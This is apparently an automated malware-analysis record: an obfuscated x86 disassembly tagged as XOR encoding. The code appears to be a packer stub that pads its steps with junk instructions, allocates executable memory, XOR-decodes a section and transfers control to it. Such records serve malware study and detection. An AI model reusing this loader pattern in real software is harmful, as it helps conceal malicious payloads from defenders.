Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xa16683bc
mov edx, 0xd25eeca
and ecx, ecx
add ecx, 0x2c1fda99
popal
not ecx
and ecx, edx
or edx, edx
mov edi, 0
mov edx, ecx
mov eax, esi
inc eax
mov ebx, edx
and esi, esi
dec eax
mov ecx, ebx
add esi, 0xd74f952e
sub eax, 0xcd00d549
inc edi
or esi, eax
add eax, 1
mov eax, esi
cmp edi, 0x100d36d
jne 0xa789cb
or esi, esi
sub esi, 0x3bd88e3b
sub ecx, 1
mov ecx, edx
mov esi, 0xa78796
sub eax, ebx
sub ebx, eax
mov edx, 0xa7898a
not edi
add ebx, 0x9527f5e5
mov ecx, dword [esi]
mov ebx, 0x84fb5db2
mov ebx, edi
sub eax, ebx
and ecx, 0xff
add ebx, 0x68b3dc60
and ebx, eax
and edi, ebx
xor dword [edx], ecx
add eax, 0xd8513abc
or edi, edi
add edx, 1
add eax, ebx
not ebx
add esi, 1
or eax, edi
add eax, ebx
cmp edx, entry0
jl 0xa78a20
not ebx
or edi, ebx
sub eax, 1
not eax
sub edi, eax
add ebx, ebx
and ebx, ecx
sub edx, ebx
mov esi, 0xa7898e
not edx
add edi, 0x729ef6ab
mov esi, dword [esi]
inc ebx
add edi, ecx
add edi, ebx
mov esi, dword [esi]
and ecx, edx
sub ecx, ebx
push esi
inc edi
mov edi, 0x26544078
mov esi, 0xa7898a
sub ebx, edi
mov edi, 0xc8aa9f56
mov esi, dword [esi]
and edx, ebx
add ebx, 0x5e6bdfa4
mov esi, dword [esi]
add edx, 0xe8c43f9f
mov edi, ecx
sub esp, 4
mov dword [esp], 0xa78992
not edi
add edx, 1
call esi
add ecx, edx
or ebx, edx
sub ecx, 0xe96f03d0
pop esi
mov ebx, ecx
add ecx, ebx
or ebx, ecx
push 0xa7899f
not edx
add ebx, edx
push eax
and ebx, edi
add edi, 0xf357a741
add edi, 0x26619901
call esi
sub ebx, 1
add edi, 1
sub edx, ebx
sub esp, 4
mov dword [esp], 0x40
and ebx, edi
sub edx, 0x1342fd84
push 0x3000
inc edx
mov edi, 0xefe6a576
push 0x200007b1
mov edx, 0x7acdcb27
mov ebx, ecx
push 0
and ebx, edx
or edx, edi
and edx, ebx
call eax
and ebx, ebx
add ebx, ecx
add eax, 0x2000073c
inc edi
mov ecx, 0x6709d3dc
mov esi, 0x71f30b9
add ebx, edi
add edi, 0x22da89d9
mov dword [eax], esi
inc edx
add edx, 0x8140fecf
mov esi, dword [eax]
sub edi, edx
add ecx, 0xc62ce0b8
cmp esi, 0x71f30b9
je 0xa78b7c
mov eax, 0
mov ebx, dword [eax]
sub ecx, 0x41d96116
sub edx, 0x186a9097
dec edx
and ecx, ecx
mov edx, edi
sub edx, 1
or ecx, ecx
or ecx, ecx
mov esi, section..reltc
sub edx, 0xfa060a25
add edx, 0xfe4d970b
add edx, 1
mov edi, 0xa78795
mov edx, ecx
and edx, ecx
mov ebx, 0
mov edx, 0x4a76226f
add edx, 0x7791654
or edx, edx
mov eax, 0xa78796
sub edx, ecx
sub edx, 0xa312c2c8
or ecx, ecx
lea eax, [ebx + eax]
add edx, 0x8c16efc0
inc ecx
mov eax, dword [eax]
mov edx, 0x9bf15f9a
not ecx
and ecx, edx
and eax, 0xff
or ecx, ecx
not edx
add edx, edx
inc ebx
sub ecx, 0xde4b2086
and ecx, edx
and ecx, edx
cmp ebx, 0x1f4
jne 0xa78c11
mov ebx, 0
add edx, 0x4fe100a
dec edx
sub edx, ecx
sub edx, 0xbc8568d
or edx, ecx
xor dword [esi], eax
not ecx
dec edx
mov ecx, 0x3a672360
add esi, 2
inc ecx
not edx
add edx, 1
cmp esi, edi
jl 0xa78bc9
add ecx, ecx
sub edx, 1
add ecx, 1
sub ecx, 0xc0125796
mov ebx, section..reltc
or esi, eax
and esi, esi
mov edi, section..reltc
not esi
not eax
mov edx, 0xa78795
inc eax
mov eax, esi
mov ecx, 0
sub esi, eax
add esi, 0x4c61a95
mov esi, eax
mov cl, byte [edi]
add eax, 0xc7934977
add eax, esi
mov eax, esi
mov byte [ebx], cl
sub eax, 0xe3e8b73d
and eax, eax
not esi
add ebx, 1
not eax
sub eax, 0x8db35428
mov eax, esi
add edi, 2
and eax, esi
or esi, eax
cmp edi, edx
jle 0xa78c80
sub esi, 1
inc eax
and eax, eax
sub edx, ecx
sub ecx, edx
sub esp, 4
mov dword [esp], 0x8dc6a0
sub edx, 0x7f5966ce
mov edx, 0x3c68edd5
sub edx, 0x5e748fc5
ret